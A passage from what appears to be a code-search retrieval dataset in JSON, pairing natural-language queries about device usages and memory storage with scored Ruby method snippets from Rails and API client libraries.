"score": "0.6492053",
"text": "def pretty_resource_name\n Heroics.pretty_name(resource_name)\n end",
"title": ""
},
{
"docid": "ec94435f6f4f9a5f3fad0420ea111134",
"score": "0.6488484",
"text": "def published_resource_name\n @published_resource_name ||= plural_resource_name.singularize\n end",
"title": ""
},
{
"docid": "e7610f894a1a3232d490922e4d638bff",
"score": "0.64816344",
"text": "def resource_name\n @resource_name ||= self.controller_name.singularize\n end",
"title": ""
},
{
"docid": "eee2c071953fe02d20e8a2e04e325d87",
"score": "0.6475969",
"text": "def get_resource_ivar #:nodoc:\n instance_variable_get(\"@#{resource_instance_name}\")\n end",
"title": ""
},
{
"docid": "d79bbdf05ed00ff24ae84244b8de0504",
"score": "0.6471547",
"text": "def get_resource\n instance_variable_get(\"@#{resource_name}\")\n end",
"title": ""
},
{
"docid": "d79bbdf05ed00ff24ae84244b8de0504",
"score": "0.6471547",
"text": "def get_resource\n instance_variable_get(\"@#{resource_name}\")\n end",
"title": ""
},
{
"docid": "46125b8538d4945a5311b2e7275cf609",
"score": "0.64595294",
"text": "def resource_title\n title_field = components.values.last[:title] || :to_s\n resource.send(title_field.to_sym) if resource\n end",
"title": ""
},
{
"docid": "6f4cdc6824da68b35de21c64f324fbda",
"score": "0.6458498",
"text": "def resource_name\n resources_name.singularize\n end",
"title": ""
},
{
"docid": "df41a5d05e223bfe36ed2808dea36114",
"score": "0.6446068",
"text": "def key_for(resource_name)\n [prefix, resource_name].join\n end",
"title": ""
},
{
"docid": "4c4b3dcd9f6ee9e371ceadebbacc1000",
"score": "0.64389926",
"text": "def resources_name\n self.class.resources_name\n end",
"title": ""
},
{
"docid": "720de9a82f734afce1714917325a4b55",
"score": "0.6436608",
"text": "def name(variable=default)\n\t\t ### The last line in here get's returned by default\n\t\tend",
"title": ""
},
{
"docid": "8491fa3fa0eb5d344ca71beac09cd76b",
"score": "0.64283574",
"text": "def enclosing_resource_name\n enclosing_resource.class.name.underscore\n end",
"title": ""
},
{
"docid": "ce6f70835b1304aa84eeddb2dbb68103",
"score": "0.6424902",
"text": "def item_name_for_resource(resource)\n sdb_type = simpledb_type(resource.model)\n \n item_name = \"#{sdb_type}+\"\n keys = keys_for_model(resource.model)\n item_name += keys.map do |property|\n resource.instance_variable_get(property.instance_variable_name)\n end.join('-')\n \n Digest::SHA1.hexdigest(item_name)\n end",
"title": ""
},
{
"docid": "7be13693d030ae7ede24e389f1b9b1c3",
"score": "0.64176",
"text": "def name\n (@name ||= namespace).to_s.underscore.symbolize\n end",
"title": ""
},
{
"docid": "fc938c49d2edf9fb48dd0881b6295b95",
"score": "0.6416684",
"text": "def resource_instance_name #:nodoc:\n self.resources_configuration[:self][:instance_name]\n end",
"title": ""
},
{
"docid": "91894e7346e911cb5b732d54842498a2",
"score": "0.6414072",
"text": "def get_resource\n instance_variable_get(\"@#{resource_name}\")\n end",
"title": ""
},
{
"docid": "91894e7346e911cb5b732d54842498a2",
"score": "0.6414072",
"text": "def get_resource\n instance_variable_get(\"@#{resource_name}\")\n end",
"title": ""
},
{
"docid": "91894e7346e911cb5b732d54842498a2",
"score": "0.6414072",
"text": "def get_resource\n instance_variable_get(\"@#{resource_name}\")\n end",
"title": ""
},
{
"docid": "91894e7346e911cb5b732d54842498a2",
"score": "0.6414072",
"text": "def get_resource\n instance_variable_get(\"@#{resource_name}\")\n end",
"title": ""
},
{
"docid": "3ba8cce23228d82586ccc704e0320940",
"score": "0.6412327",
"text": "def singular_resource_name\n @singular_resource_name ||= ZendeskAPI::Helpers.snakecase_string(to_s.split(\"::\").last)\n end",
"title": ""
},
{
"docid": "ff58eda534d6ba2afe39088da28dbecb",
"score": "0.6404315",
"text": "def resource_param_name\n @resource_param_name ||= params[resource_name.to_sym].present? ? resource_name.to_sym : ('users_' + resource_name).to_sym\n end",
"title": ""
},
{
"docid": "11baa785ea9ee465296ce56ed64c7152",
"score": "0.63986105",
"text": "def name(lang: nil)\n Lang.name_from_resource_names(resource_names: birdnames, lang: lang)\n end",
"title": ""
},
{
"docid": "d34d2fb1a1eaecbcd14b516014505309",
"score": "0.63880944",
"text": "def resource_attribute_name(field, direction = :from)\n (transforms(direction)[field] || field).to_sym\n end",
"title": ""
},
{
"docid": "a378c4dc0aa72f854ea655a66bd1970f",
"score": "0.6375078",
"text": "def variable_name; end",
"title": ""
},
{
"docid": "a378c4dc0aa72f854ea655a66bd1970f",
"score": "0.6375078",
"text": "def variable_name; end",
"title": ""
},
{
"docid": "82f806708e203cf64051ba7f403c1d8b",
"score": "0.6352018",
"text": "def resource_attribute_human_name_for(attribute_name)\n attribute_name = attribute_name.to_s\n I18n.t(\"activerecord.attributes.#{resource_name}.#{attribute_name}\",\n default: attribute_name.humanize)\n end",
"title": ""
}
] |
67cc9a3e0baabf6c13bbbbe2dda63f70
|
Retrieve all usages for device Returns all usages for a device.
|
[
{
"docid": "476636cb09f332ca66dd615ab052a12c",
"score": "0.6337441",
"text": "def find_device_usages(id, opts = {})\n data, _status_code, _headers = find_device_usages_with_http_info(id, opts)\n data\n end",
"title": ""
}
] |
[
{
"docid": "622675d0ec2b8a188a93f68fb648e7ea",
"score": "0.671477",
"text": "def get_all_devices\n @devices.search(\"device\")\n end",
"title": ""
},
{
"docid": "29bbf3b2f27e76decf6b8979a58c3d96",
"score": "0.6505598",
"text": "def usages\n @usages\n end",
"title": ""
},
{
"docid": "b2f617fd484f840ace6fe22c34157d87",
"score": "0.61224866",
"text": "def get(id)\n response = Network.get(['Usages', id])\n Usage.new(response)\n end",
"title": ""
},
{
"docid": "bb45e7ed2c7b0e388fbc06ef99a67e8c",
"score": "0.61180013",
"text": "def index\n @devices = all_device\n end",
"title": ""
},
{
"docid": "edf996dbe2aecaff1221c26007b9e88e",
"score": "0.6048923",
"text": "def get_devices\n request(:get, client_api_latest, '/devices')\n end",
"title": ""
},
{
"docid": "405b59a4e872a02cae2381933e55e1d6",
"score": "0.5980112",
"text": "def get_devices\n WIDEQ.get_list(post('device/deviceList'), 'item')\n end",
"title": ""
},
{
"docid": "3eac48a83425192a8c216e6bef8fb8e5",
"score": "0.58897126",
"text": "def index\n @app_usages = AppUsage.all\n end",
"title": ""
},
{
"docid": "203f635bbf1daae948b5efa6d1bf644b",
"score": "0.5840678",
"text": "def get_usage(opts = {})\n data, _status_code, _headers = get_usage_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "1814057c104c7b540a0ad110bacb6f7f",
"score": "0.5804814",
"text": "def get_devices\n if self.campaign_info\n analytics_api = ANALYTICS_CLASS.constantize.new\n return analytics_api.get_devices(self.campaign_info.campaign_id)\n else\n {}\n end\n end",
"title": ""
},
{
"docid": "aafb52fbdf23364578becc8a8469db1c",
"score": "0.575169",
"text": "def usages=(list)\n @usages = list\n end",
"title": ""
},
{
"docid": "4499252ffc24bd9c272cfdfc930c44a9",
"score": "0.5738288",
"text": "def devices_get(opts = {})\n data, _status_code, _headers = devices_get_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "57fe36c8ed9b81cc20c7e65e31bb4c72",
"score": "0.56600344",
"text": "def devices\n @_devices = session.get_devices if @_devices.nil?\n @_devices.map { |d| DeviceInfo.new d }\n end",
"title": ""
},
{
"docid": "b1993bb432049c31a01505769fef72cc",
"score": "0.55701673",
"text": "def get_devices limit=0\n get \"devices?limit=#{limit}\"\n end",
"title": ""
},
{
"docid": "fba16682ed38c8723a64164e3c2395d4",
"score": "0.55637616",
"text": "def devices(user_id: '-')\n return get(\"#{API_URI}/#{DEVICES_API_VERSION}/user/#{user_id}/devices.json\")\n end",
"title": ""
},
{
"docid": "82df3828afd259a09fccd01d3b6b8f55",
"score": "0.55512786",
"text": "def index\n @devices = current_user.devices\n end",
"title": ""
},
{
"docid": "9cf2e9db3c9437d8cab0ea6bc0ec685b",
"score": "0.55497056",
"text": "def get_all_usage(subscription_id, opts = {})\n data, _status_code, _headers = get_all_usage_with_http_info(subscription_id, opts)\n return data\n end",
"title": ""
},
{
"docid": "b25330380a02c84ffbacd1ddd4dd3bf8",
"score": "0.5547673",
"text": "def list_devices\n devices = get_devices\n print_devices_table(devices)\n end",
"title": ""
},
{
"docid": "3bfd33e022790cf3ab019990ed26f1eb",
"score": "0.5546884",
"text": "def index\n @device_ids = DeviceId.all\n end",
"title": ""
},
{
"docid": "73746242d5e9cf6a9262b802a7f67677",
"score": "0.5534786",
"text": "def index\n @device_tokens = DeviceToken.all\n end",
"title": ""
},
{
"docid": "05ae896e074be23a1682814dbe4ffd96",
"score": "0.5529767",
"text": "def devices\n get_data_elements('device')\n end",
"title": ""
},
{
"docid": "b3350378b7a522e5f27cc71dfd9dd2a1",
"score": "0.55254656",
"text": "def devices\n self.call('GetDevices').flatten.map do |object_path|\n new_device(object_path)\n end\n end",
"title": ""
},
{
"docid": "e100b68f6f336b2f51f787819bb82984",
"score": "0.5519651",
"text": "def index\n @device_requests = DeviceRequest.all\n end",
"title": ""
},
{
"docid": "392854f8da345f7aa8f94a6b140c6833",
"score": "0.5512557",
"text": "def usage(params = {})\n perform_request(HTTP_GET, \"/stats/usage\", params)\n end",
"title": ""
},
{
"docid": "46511a6a9c21e634954e37abef1d2af6",
"score": "0.55110633",
"text": "def index\n if params[:all]\n @devices = Device.all\n else\n @devices = current_user.devices\n end\n end",
"title": ""
},
{
"docid": "773b9a93e5c144ef1f38a5a8beb4ccf1",
"score": "0.5510272",
"text": "def usage\n RandomOrg::Response::Usage.new perform_and_process('getUsage', {},\n false)\n end",
"title": ""
},
{
"docid": "22f061b43fbd738949eed498c85a37cc",
"score": "0.55048174",
"text": "def index\n @iot_devices = IotDevice.all\n end",
"title": ""
},
{
"docid": "77d9be75c6427ee3f512ca456fa96fdf",
"score": "0.549692",
"text": "def devices\n @devices ||= DevicesApi.new @global_configuration\n end",
"title": ""
},
{
"docid": "a8764c54f6afefd68f3a4016f1836784",
"score": "0.5480317",
"text": "def index\n @daily_usages = DailyUsage.all\n end",
"title": ""
},
{
"docid": "d05b2cc49a3bb53a279cdbd5337b3816",
"score": "0.5479312",
"text": "def devices\n @devices\n end",
"title": ""
},
{
"docid": "06e3571bd9e8e614332cd88b4c79f89d",
"score": "0.54774904",
"text": "def get_devices(opts = {})\n data, _status_code, _headers = get_devices_with_http_info(opts)\n return data\n end",
"title": ""
},
{
"docid": "bd69d8a440a9df80bf3dfb76ebaa7d00",
"score": "0.54742444",
"text": "def all_by_type\r\n @devices ||= get_devices\r\n end",
"title": ""
},
{
"docid": "363321dfa863c80246934fbbea03cc02",
"score": "0.5447933",
"text": "def index\n @admin_devices = City.find(session[:current_city_id]).utility.devices.where(device_type: Device.device_types[params[:device_type]]).page(params[:page]).per(10)\n end",
"title": ""
},
{
"docid": "b2db838dfb584c7d5ec0a0505ef06e19",
"score": "0.54398",
"text": "def get_usage\n\t uri_path = '/insights/audience/usage'\n\t response = make_get_request(uri_path)\n\t JSON.parse(response)\n end",
"title": ""
},
{
"docid": "03724a3595cd6ab23991bd70612f2b8a",
"score": "0.54310024",
"text": "def index\n @q = apply_scopes(DeviceModel).includes(:device_manufacturer).search(params[:q])\n @device_models = @q.result(distinct: true).page(params[:page])\n\n respond_with(@device_models)\n end",
"title": ""
},
{
"docid": "6b3b68c4b3f9e2a0d5f3d62161f6489e",
"score": "0.54209316",
"text": "def index\n @devices = Device.where(user_id: current_user.id)\n end",
"title": ""
},
{
"docid": "4917ee227e1ec9b043599fa1da268cae",
"score": "0.53894794",
"text": "def index\n @devices = Device.all\n end",
"title": ""
},
{
"docid": "4917ee227e1ec9b043599fa1da268cae",
"score": "0.53894794",
"text": "def index\n @devices = Device.all\n end",
"title": ""
},
{
"docid": "4917ee227e1ec9b043599fa1da268cae",
"score": "0.53894794",
"text": "def index\n @devices = Device.all\n end",
"title": ""
},
{
"docid": "4917ee227e1ec9b043599fa1da268cae",
"score": "0.53894794",
"text": "def index\n @devices = Device.all\n end",
"title": ""
},
{
"docid": "4917ee227e1ec9b043599fa1da268cae",
"score": "0.53894794",
"text": "def index\n @devices = Device.all\n end",
"title": ""
},
{
"docid": "4917ee227e1ec9b043599fa1da268cae",
"score": "0.53894794",
"text": "def index\n @devices = Device.all\n end",
"title": ""
},
{
"docid": "4917ee227e1ec9b043599fa1da268cae",
"score": "0.53894794",
"text": "def index\n @devices = Device.all\n end",
"title": ""
},
{
"docid": "4917ee227e1ec9b043599fa1da268cae",
"score": "0.53894794",
"text": "def index\n @devices = Device.all\n end",
"title": ""
},
{
"docid": "4917ee227e1ec9b043599fa1da268cae",
"score": "0.53894794",
"text": "def index\n @devices = Device.all\n end",
"title": ""
},
{
"docid": "8469deef552c720c47a074179c628227",
"score": "0.5389267",
"text": "def get_devices\n devices = get_device_ids\n ret = Array.new\n devices.each do |device|\n ret.push(get_device(device))\n end\n return ret\n end",
"title": ""
},
{
"docid": "5a01dce19764d906726f4c3e286daefe",
"score": "0.5383183",
"text": "def devices\n @devices ||= DevicesApi.new config\n end",
"title": ""
},
{
"docid": "33dd8f9fb5c9d6db25c642ba04c7f27a",
"score": "0.5363718",
"text": "def index\n response = get_gringotts_resources(RESOURCE, build_search_params(params))\n if response.success?\n @devices = Fhir::Device.parse_ehmbr_list(response.body)\n else\n send_operation_outcome(response)\n end\n end",
"title": ""
},
{
"docid": "929860becf25fd4bee889d61104ee294",
"score": "0.5357777",
"text": "def index\n @devices = Device.all_active\n end",
"title": ""
},
{
"docid": "5a5766ecc5035096f310cbd3e88bf0c5",
"score": "0.5356567",
"text": "def index\n @app_devices = AppDevice.all\n end",
"title": ""
},
{
"docid": "18ffd3a0fdc3e856625cf795f927a938",
"score": "0.53455937",
"text": "def get_devices(opts = {})\n if Configuration.debugging\n Configuration.logger.debug \"Calling API: DeviceRegistryListApi#get_devices ...\"\n end\n \n # resource path\n path = \"/devices\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/x-www-form-urlencoded']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = ['khipu']\n result = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DeviceList')\n if Configuration.debugging\n Configuration.logger.debug \"API called: DeviceRegistryListApi#get_devices. Result: #{result.inspect}\"\n end\n return result\n end",
"title": ""
},
{
"docid": "3327f051396715876f8d227460875d99",
"score": "0.5341469",
"text": "def usages; end",
"title": ""
},
{
"docid": "ab975b88861e782a6ee5515f8f26524f",
"score": "0.5338863",
"text": "def list\n all.map do |device|\n name = device.pretty_name\n puts(name)\n name\n end\n end",
"title": ""
},
{
"docid": "614c9306ff13053a299dd15a71abcae3",
"score": "0.53298783",
"text": "def find_device_usages_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DevicesApi.find_device_usages ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling DevicesApi.find_device_usages\"\n end\n # resource path\n local_var_path = '/devices/{id}/usages'.sub('{' + 'id' + '}', CGI.escape(id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'created[after]'] = opts[:'created_after'] if !opts[:'created_after'].nil?\n query_params[:'created[before]'] = opts[:'created_before'] if !opts[:'created_before'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'DeviceUsageList'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['x_auth_token']\n\n new_options = opts.merge(\n :operation => :\"DevicesApi.find_device_usages\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DevicesApi#find_device_usages\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "e443dcae577af7fbc75c011499203267",
"score": "0.53266",
"text": "def index\n # @devices = Device.all\n end",
"title": ""
},
{
"docid": "f53ac43b0f81e466b862a1ad03b6b71a",
"score": "0.53205734",
"text": "def index\n if current_user.is_admin\n @socket_usages = SocketUsage.all\n else\n @socket_usages = current_user.socket_usages.all \n end\n end",
"title": ""
},
{
"docid": "61a93df59a9d75079d6a03e330b6f232",
"score": "0.53096706",
"text": "def getUsage(period = 'hour')\n\t\t\tparams = { 'period' => period }\n\n\t\t\treturn callAPI('usage', params)\n\t\tend",
"title": ""
},
{
"docid": "a0ba7517715914c09beaf46f2af9fedf",
"score": "0.5299285",
"text": "def list_devices\n response = send(Command::LIST_DEVICES).wait_ok.payload\n size = response.unpack(\"Q<\")[0]\n MessagePack.unpack(response[8, size])\n end",
"title": ""
},
{
"docid": "972cc352b33c66d6d4c974a771f87527",
"score": "0.52964896",
"text": "def index\n case @action_context\n when :client_context\n @devices = @devices.joins(:user).where(users: { uuid: params[:client_uuid] })\n when :user_context\n @devices = @devices.joins(:user).where(users: { uuid: params[:user_uuid] })\n when :device_context\n @devices = @devices.where(uuid: params[:device_uuid]) unless @current_device.web_server? # use ability\n else\n @devices = Device.none\n end\n response.set_header('X-Total-Count', @devices.count) if @devices\n render json: @devices\n end",
"title": ""
},
{
"docid": "0144037bc2ec3a04bc755e4d7c405952",
"score": "0.5279267",
"text": "def index\n @usage_types = UsageType.all\n end",
"title": ""
},
{
"docid": "9b39deafd77711b5ffb5800b7e676002",
"score": "0.5271167",
"text": "def devices\n admin? ? Device.all : device_records\n end",
"title": ""
},
{
"docid": "0589df8be6686d9ab6922c2c0bb006cf",
"score": "0.52647734",
"text": "def index\n puts \">>> DEVICE_CONTROLLER: index \"\n @devices = Device.all\n end",
"title": ""
},
{
"docid": "c18a5df1f4cc943381b96d86f1ad56b8",
"score": "0.5257416",
"text": "def registered_devices\n return @registered_devices\n end",
"title": ""
},
{
"docid": "3c12c45be7d486ba8206fd554f342524",
"score": "0.52554405",
"text": "def find_device_usages_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: UsagesApi.find_device_usages ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling UsagesApi.find_device_usages\"\n end\n # resource path\n local_var_path = '/devices/{id}/usages'.sub('{' + 'id' + '}', CGI.escape(id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'created[after]'] = opts[:'created_after'] if !opts[:'created_after'].nil?\n query_params[:'created[before]'] = opts[:'created_before'] if !opts[:'created_before'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'DeviceUsageList'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['x_auth_token']\n\n new_options = opts.merge(\n :operation => :\"UsagesApi.find_device_usages\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: UsagesApi#find_device_usages\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "ff24adf11576aec158e235d32def6bf7",
"score": "0.5249789",
"text": "def get_disc_usage(opts = {})\n if Configuration.debugging\n Configuration.logger.debug \"Calling API: StorageApi#get_disc_usage ...\"\n end\n \n # resource path\n path = \"/storage/disc\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'storage'] = opts[:'storage'] if opts[:'storage']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json', 'text/json', 'application/xml', 'text/xml', 'text/javascript']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n result = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DiscUsageResponse')\n if Configuration.debugging\n Configuration.logger.debug \"API called: StorageApi#get_disc_usage. Result: #{result.inspect}\"\n end\n return result\n end",
"title": ""
},
{
"docid": "7dda91c070884dae89f10d7ceb77926b",
"score": "0.52415353",
"text": "def api_devices_get(opts = {})\n api_devices_get_with_http_info(opts)\n nil\n end",
"title": ""
},
{
"docid": "f397cef629553bff6c7cac4f92a99f55",
"score": "0.5238537",
"text": "def all\r\n account_id = Account.find_by_subdomain(request.host.split('.')[0]).id\r\n @devices = Device.get_devices(account_id)\r\n render :layout => false\r\n end",
"title": ""
},
{
"docid": "1b11537c4412c145f497e19e6d8620b5",
"score": "0.52362055",
"text": "def allDevices\n @deviceSet.values.map do |os|\n os.devices.values.map do |device|\n DeviceListItem.new(os, device, XCSim::parseInstalledBundles(device).values)\n end\n end\n .flatten\n end",
"title": ""
},
{
"docid": "47f2bd483d6f8bc63b4fad7976d4de34",
"score": "0.5233965",
"text": "def index\n @devices = Device.select('uid, name, location, last_contact_at').where(user_id: current_user.id).find_each\n end",
"title": ""
},
{
"docid": "bd69d3d63aef994597c92f7baae70b24",
"score": "0.52173007",
"text": "def all_input_usages\n raise(UsbException, \"Not a HID interface\") unless hid?\n return hid_reports.collect { |r| r.inputs.collect { |i| i.all_usages }}.flatten\n end",
"title": ""
},
{
"docid": "7ca6fb5e52f3f84f5404a70227426f46",
"score": "0.5183106",
"text": "def index\n @asterisk_devices = AsteriskDevice.all\n end",
"title": ""
},
{
"docid": "b7242906c544d65c97ac66089c0ecb23",
"score": "0.51720464",
"text": "def index\n\n if params[:group] == 'all'\n @devices = Device.all\n @device_group = DeviceGroup.new\n @device_group.name = \"Devices\"\n else\n @devices = @device_group.devices.all\n end\n @devices_array = @devices.in_groups(2, false)\n end",
"title": ""
},
{
"docid": "a497657b3c5cb8585e1ddd279bf12580",
"score": "0.5170638",
"text": "def get_token_supply_all_using_get(opts = {})\n data, _status_code, _headers = get_token_supply_all_using_get_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "681a809f2ffc70e0f7feb80dbeb9b0fc",
"score": "0.5159406",
"text": "def devices_by_name\n @devices_by_name ||= (\n available_output_types.each_with_object( Hash.new ) do |output_type,hash|\n hash.merge!( output_type.devices_by_name )\n end\n )\n end",
"title": ""
},
{
"docid": "6dbc4ff1060584ac47c83d97d648b082",
"score": "0.5156979",
"text": "def all\n @_all ||= begin\n group = Group.new(:all)\n devices.each { |device| group << device }\n group\n end\n end",
"title": ""
},
{
"docid": "40b1911c7a45b5603a6bdce7143b3c22",
"score": "0.513025",
"text": "def index\n @devices = Device.search(params[:devices_search]).page params[:page]\n end",
"title": ""
},
{
"docid": "ef386d24fede9bbac6a00fe5b8636853",
"score": "0.5123191",
"text": "def get_usage(usage_type)\n return @api.do_request(\"GET\", get_base_api_path() + \"/usage/#{usage_type}\")\n end",
"title": ""
},
{
"docid": "ef386d24fede9bbac6a00fe5b8636853",
"score": "0.5123191",
"text": "def get_usage(usage_type)\n return @api.do_request(\"GET\", get_base_api_path() + \"/usage/#{usage_type}\")\n end",
"title": ""
},
{
"docid": "8217d40776decebef44aaedf1620b71e",
"score": "0.5119908",
"text": "def metrics\n Metric.all\n end",
"title": ""
},
{
"docid": "9f4dc1458c7d37e30629bf901cee3402",
"score": "0.51184905",
"text": "def get_clients_by_devices(args = {}) \n get(\"/clients.json/stats/device\", args)\nend",
"title": ""
},
{
"docid": "ff8f5cad5f6c0844c7034eab35a5493a",
"score": "0.5107639",
"text": "def refresh(device)\n client.get_device(device.id)\n end",
"title": ""
},
{
"docid": "330241349a3f63a4f19fa188871a5381",
"score": "0.51064867",
"text": "def read_devices\n return 200, @devices.to_json\n end",
"title": ""
},
{
"docid": "fbc96a472f56a5bf26fca2a3ff41a6e3",
"score": "0.5105958",
"text": "def find_devices\n devices = Device.where(:active => true)\n LOGGER.info \"#{Time.now.strftime('%Y-%m-%d_%H:%M:%S')} INFO: #{devices.count} active device(s) found\"\n devices\nend",
"title": ""
},
{
"docid": "9412da7b40bb3cd4a1c12add96a8cb55",
"score": "0.51057523",
"text": "def devices\n Collection::NodeDeviceCollection.new(connection)\n end",
"title": ""
},
{
"docid": "f68f02e6ef8ededee0868ea3f8f292d9",
"score": "0.5103797",
"text": "def index\n @q = DeviceType.search(params[:q])\n @device_types = @q.result(distinct: true).page(params[:page])\n\n respond_with(@device_types)\n end",
"title": ""
},
{
"docid": "1c1b874330345a56d8d65d09a5e6ed92",
"score": "0.5098717",
"text": "def index\n @sesame_devices = SesameDevice.all\n end",
"title": ""
},
{
"docid": "e93d4ca335624779a3a9c854cf5f5ddd",
"score": "0.5098167",
"text": "def devices\n browse if browser.devices.empty? && configuration.autodiscover\n browser.devices\n end",
"title": ""
},
{
"docid": "e93d4ca335624779a3a9c854cf5f5ddd",
"score": "0.5098167",
"text": "def devices\n browse if browser.devices.empty? && configuration.autodiscover\n browser.devices\n end",
"title": ""
},
{
"docid": "6649c73b93a158f0025883c9ea02d016",
"score": "0.5095569",
"text": "def index\n @usage_sources = UsageSource.all\n end",
"title": ""
},
{
"docid": "4f85fdeedcba37612c9d832fb4152cd4",
"score": "0.50852686",
"text": "def get_metrics(name=nil)\n @client.suggest_metric_list(name)\nend",
"title": ""
},
{
"docid": "ba9767a7235ddd16eb8e3506ccf6d19f",
"score": "0.5076177",
"text": "def index\n #@devices = Device.all\n\n @devices = Device.where(\"user_id = ?\",current_user.id ).includes(:user)\n end",
"title": ""
},
{
"docid": "3daf6fe1944d9312df06455690c754fe",
"score": "0.50747806",
"text": "def index\n @device = Device.find params[:device_id]\n @device_apps = @device.device_apps.all\n end",
"title": ""
},
{
"docid": "1e0ae2ccf5e6b4ae332ad16a8b315998",
"score": "0.5074449",
"text": "def querying_device_info(app_id, secret, device_id)\n token = get_token(app_id, secret)[:body][\"accessToken\"]\n path = \"/iocm/app/dm/v1.1.0/devices/\" + device_id + \"?app_Id=\" + app_id\n url_string = \"https://\" + platformip + \":\" + platformport + path\n uri = URI.parse url_string\n https = Net::HTTP.new(uri.host, uri.port)\n https.use_ssl = true\n https.cert = OpenSSL::X509::Certificate.new(File.read(cert_file))\n https.key = OpenSSL::PKey::RSA.new(File.read(key_file))\n https.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Get.new(uri.path)\n request.content_type = 'application/json'\n request['Authorization'] = 'Bearer ' + token\n request['app_key'] = app_id\n res = https.request(request)\n {:code => res.code, :message => res.message, :body => JSON.parse(res.body.to_s)}\n end",
"title": ""
},
{
"docid": "62734e7833ccb476e490493e5e5de259",
"score": "0.5073521",
"text": "def index\n @users = User.all\n @usage_types = UsageType.all\n end",
"title": ""
},
{
"docid": "5ec48a69336eae6e1518ef9abb16599b",
"score": "0.5065773",
"text": "def owned_devices\n return @owned_devices\n end",
"title": ""
},
{
"docid": "1ed68c8bfe5f8f2224622eba25a3dc52",
"score": "0.5065237",
"text": "def index\n @public_devices = PublicDevice.all\n end",
"title": ""
},
{
"docid": "898a16437788c0d0ca8e0ded750d92cb",
"score": "0.5061778",
"text": "def index\r\n @admin_devices = Admin::Device.paginate(page: params[:page], per_page: 10)\r\n end",
"title": ""
},
{
"docid": "ff02d172df34e35f9cb6e7115cbb262f",
"score": "0.5057077",
"text": "def devices\n @lots = Lot.all\n end",
"title": ""
},
{
"docid": "39a7531ec47ca1efa7f7641a5ae110e9",
"score": "0.50569016",
"text": "def index\n @result = devices\n respond_with @result\n end",
"title": ""
},
{
"docid": "020af2fcefd76c953d6327997cf0215a",
"score": "0.505062",
"text": "def querying_device_type_list(app_id, secret)\n token = get_token(app_id, secret)[:body][\"accessToken\"]\n path = \"/iocm/app/profile/v1.1.0/allDeviceTypes\"\n url_string = \"https://\" + platformip + \":\" + platformport + path\n uri = URI.parse url_string\n https = Net::HTTP.new(uri.host, uri.port)\n https.use_ssl = true\n https.cert = OpenSSL::X509::Certificate.new(File.read(cert_file))\n https.key = OpenSSL::PKey::RSA.new(File.read(key_file))\n https.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Get.new(uri.path)\n request.content_type = 'application/json'\n request['Authorization'] = 'Bearer ' + token\n request['app_key'] = app_id\n res = https.request(request)\n {:code => res.code, :message => res.message, :body => JSON.parse(res.body.to_s)}\n end",
"title": ""
}
] |
98511a49f2746edc209b647b7ea8a526
|
store a value in the Memory instance at address +address+. The value is what is returned by the yielded block, and should be an integer value, while +address+ should be between 0 and +size+
|
[
{
"docid": "57179b8029385698f458cbfbeeb4bc9a",
"score": "0.8021678",
